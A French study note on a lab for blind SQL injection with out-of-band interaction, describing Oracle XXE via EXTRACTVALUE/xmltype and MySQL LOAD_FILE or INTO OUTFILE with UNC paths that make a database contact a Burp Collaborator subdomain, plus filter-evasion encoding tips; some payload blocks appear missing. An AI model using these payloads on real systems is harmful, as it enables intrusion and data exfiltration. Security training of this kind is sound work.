Injection SQL aveugle — interaction Out-Of-Band (OOB)
Blind SQL injection with out-of-band interaction
Contexte court : la valeur du cookie TrackingId (ou autre paramètre) est injectée dans une requête SQL exécutée de façon asynchrone. La réponse HTTP ne révèle rien, mais il est possible de provoquer une interaction externe (DNS/HTTP) vers un service de type Burp Collaborator / OAST, ce qui permet d’exfiltrer ou de confirmer l’exécution d’un payload.

Techniques et vecteurs
Oracle — XML External Entity (XXE) via EXTRACTVALUE / xmltype
EXTRACTVALUE / xmltypePrincipe : construire un document XML contenant une entité externe pointant vers votre sous-domaine Collaborator. L’appel à
EXTRACTVALUE(xmltype(...), '/l')évalue la DTD et provoque la requête HTTP/DNS sortante vers le domaine contrôlé :
Remarques : certains caractères doivent être encodés/échappés selon le contexte (quotes,
%dans la DTD, etc.). Dans certains cas, il faut URL-encoder des parties du payload.
MySQL — fichiers réseau via LOAD_FILE / SELECT ... INTO OUTFILE
LOAD_FILE / SELECT ... INTO OUTFILELOAD_FILE('\\BURP-COLLAB-SUBDOMAIN\a')peut provoquer une requête SMB/DNS sortante sur des environnements qui autorisent l’accès réseau au serveur de fichiers ou qui résolvent les chemins UNC.SELECT ... INTO OUTFILE '\\BURP-COLLAB-SUBDOMAIN\a'écrit un fichier sur un partage réseau, provoquant souvent une interaction réseau observable côté Collaborator.Remarque : ces techniques dépendent fortement de la configuration (privilèges du compte DB, options du serveur, accès réseau sortant).
Notes pratiques
Pour Burp Collaborator / OAST, utilisez le sous-domaine fourni (ex.
abcd.oastify.com) dans l’URL/chemin de l’entité ou du chemin UNC.Certains serveurs tronquent/filtrent les payloads : tester différentes variations d’encoding (URL-encode, échappement des
%→%25, variations de commentaire, etc.).Quand la requête Collaborator arrive, vous avez preuve d’exécution OOB (DNS/HTTP/SMB), ce qui confirme la vulnérabilité.
Exemple — variante avec encodage (remarque : tu as déjà testé et reçu la requête)
Exemple encodé (tu l’as présenté) :
→ encodage de
%→%25et;→%3bpour contourner certains filtres/parsings.

Mis à jour
Ce contenu vous a-t-il été utile ?